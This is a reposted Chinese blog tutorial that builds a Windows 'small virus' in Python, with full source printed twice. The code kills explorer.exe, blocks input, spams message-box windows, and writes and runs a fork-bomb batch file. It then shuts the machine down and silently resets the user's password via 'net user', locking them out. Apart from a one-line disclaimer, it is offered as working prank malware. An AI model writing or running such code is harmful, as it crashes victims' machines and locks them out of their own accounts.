额,这篇文章是转载的,
原文链接:https://blog.csdn.net/zyjzyj115588/article/details/108066831
不过这个项目是我和otisuki以及二向薄一起做的,所以…
我就转载了/xyx
一个带Bug的小病毒
一天,我呆着没事干,于是我去看了测毒视频,我就想去做一个小病毒。
既然是个病毒,就得有手有脚嘛,首先,上模块!
注:仅供参考,请勿乱整人,被打死我不负责[doge]
import os #命令
import getpass #获取用户名
import time #等待
import random #随机数
from ctypes import * #朋友写的,不懂
from pynput.mouse import Button, Controller #控制鼠标键盘
模块弄完了,得先做点准备工作嘛
先把explorer关了,把explorer关了你任务栏就没咯,哈哈
在创建鼠标控制器,弹窗,关explorer
代码如下:
mouse = Controller()
with open("ERROR.vbs", "w") as File: #windows
File.write("""
msgbox "你电脑炸了!!!"
""")
with open("run.bat", "w") as File: #send Window
File.write("""
:start
start ERROR.vbs
goto start
""")
with open("boom.bat", "w") as File: #boom
File.write("""
%0|%0
""")
os.system("taskkill /f /im explorer.exe") #off explorer
英语可能有点渣,哈哈
ERROR.vbs是创建一个窗口,run.bat相当于重复执行中间的语句,boom.bat是死机代码
死机代码会一直套自己,占内存,最后卡爆
最后到了最重要的部分,上代码!
def main(t):
lock = windll.LoadLibrary('user32.dll') # load user32.dll
lock.BlockInput(True)
def fun(t):
try:
while True: #always run this code
if t != 0:
t+=1 #Boom time
mouse.move(random.randint(100,110),random.randint(100,110)) #move mouse
mouse.click(Button.left, 1) #mouse
os.system("run.bat") #send window
time.sleep(0.01) #wait 0.01 second
lock.BlockInput(False)
print(str(t)) # print the BoomTime
if t <40000:
os.system("boom.bat")
if t == 0: #It's Time To BOOM!!!
os.system("shutdown -p") #shutdown
user32 = windll.LoadLibrary('user32.dll')
user_name = getpass.getuser() #get username
os.system('net user %s %s' % (user_name,"meirenzhidaodemima")) #set password
user32.LockWorkStation() #Exit desktop
except Exception as e:
time.sleep(0.1)
fun(t)
fun(t)
这是while里的代码,如果t不是0,t+=1,然后让鼠标抖动并点击左键,然后疯狂弹窗。如果t小于40000也就是t快等于0了,会运行死机代码,如果到时间也就是t=0了,它会爆炸关机,锁屏,设密码。
好了,既然定义了主程序,那怎么能不上main呢?把代码合起来就是:
import os
import getpass
import time
import random
from ctypes import *
from pynput.mouse import Button, Controller
from ctypes import *
mouse = Controller()
with open("ERROR.vbs", "w") as File: #windows
File.write("""
msgbox "你电脑炸了!!!"
""")
with open("run.bat", "w") as File: #send Window
File.write("""
:start
start ERROR.vbs
goto start
""")
with open("boom.bat", "w") as File: #boom
File.write("""
%0|%0
""")
def main(t):
lock = windll.LoadLibrary('user32.dll') # load user32.dll
lock.BlockInput(True)
def fun(t):
os.system("taskkill /f /im explorer.exe") #off explorer
try:
while True: #always run this code
if t != 0:
t+=1 #Boom time
mouse.move(random.randint(100,110),random.randint(100,110))
mouse.click(Button.left, 1) #mouse
os.system("run.bat") #send window
time.sleep(0.01) #wait 0.01 second
lock.BlockInput(False)
print(str(t)) # print the BoomTime
if t <40000:
os.system("boom.bat")
if t == 0: #It's Time To BOOM!!!
os.system("shutdown -p") #shutdown
user32 = windll.LoadLibrary('user32.dll')
user_name = getpass.getuser() #get username
os.system('net user %s %s'%(user_name,"meirenzhidaodemima"))
user32.LockWorkStation() #Exit desktop
except Exception as e:
time.sleep(0.1)
fun(t)
fun(t)
main(-12000)
我把他调整过了,再看看几分钟后运行好。
2000.01=2秒,2分钟有60个2秒,20060=12000,main调整为12000是最好的。
好了,今天就到这里,有错误请及时指出,谢谢
————————————————
版权声明:本文为CSDN博主「诶呀来来」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zyjzyj115588/article/details/108066831